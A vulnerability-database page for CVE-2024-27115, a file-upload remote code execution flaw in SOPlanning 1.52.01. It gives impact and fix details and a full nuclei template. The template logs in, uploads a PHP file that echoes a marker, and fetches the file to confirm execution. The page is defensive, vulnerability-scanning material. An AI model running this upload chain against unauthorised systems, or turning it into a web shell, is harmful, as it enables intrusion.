HexBrain

Browse / CVEs / CVE-2024-27115

CVE-2024-27115· CWE-434

SOPlanning - Remote Code Execution

highseverity
10CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.

Impact

Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution.

Fix

Update SOPlanning to a version newer than 1.52.01.

How to confirm it

Send: POST /process/login.php ; POST /process/upload.php ; GET /upload/files/soonghee/{{filename}}.php
Positive when: contains in body_3 "{{randstr}}" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-27115 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-27115

info:
  name: SOPlanning - Remote Code Execution
  author: [email protected]
  severity: high
  description: |
    Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.
  impact: |
    Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution.
  remediation: |
    Update SOPlanning to a version newer than 1.52.01.
  reference:
    - https://www.exploit-db.com/exploits/52082
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27115
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:I/V:C/RE:M/U:Red
    cvss-score: 10.0
    cve-id: CVE-2024-27115
    cwe-id: CWE-434
    epss-score: 0.04628
    epss-percentile: 0.91781
    cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*
  tags: cve,cve2024,soplanning,rce,authenticated,file-upload,intrusive,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

      - |
        POST /process/upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=0ccdfeede39eb97743b39d87536933e1

        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="linkid"

        soonghee
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="periodeid"

        0
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="fichiers"

        {{randstr}}.php
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="type"

        upload
        --0ccdfeede39eb97743b39d87536933e1
        Content-Disposition: form-data; name="fichier-0"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo '{{randstr}}'; ?>
        --0ccdfeede39eb97743b39d87536933e1--

      - |
        GET /upload/files/soonghee/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{randstr}}'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from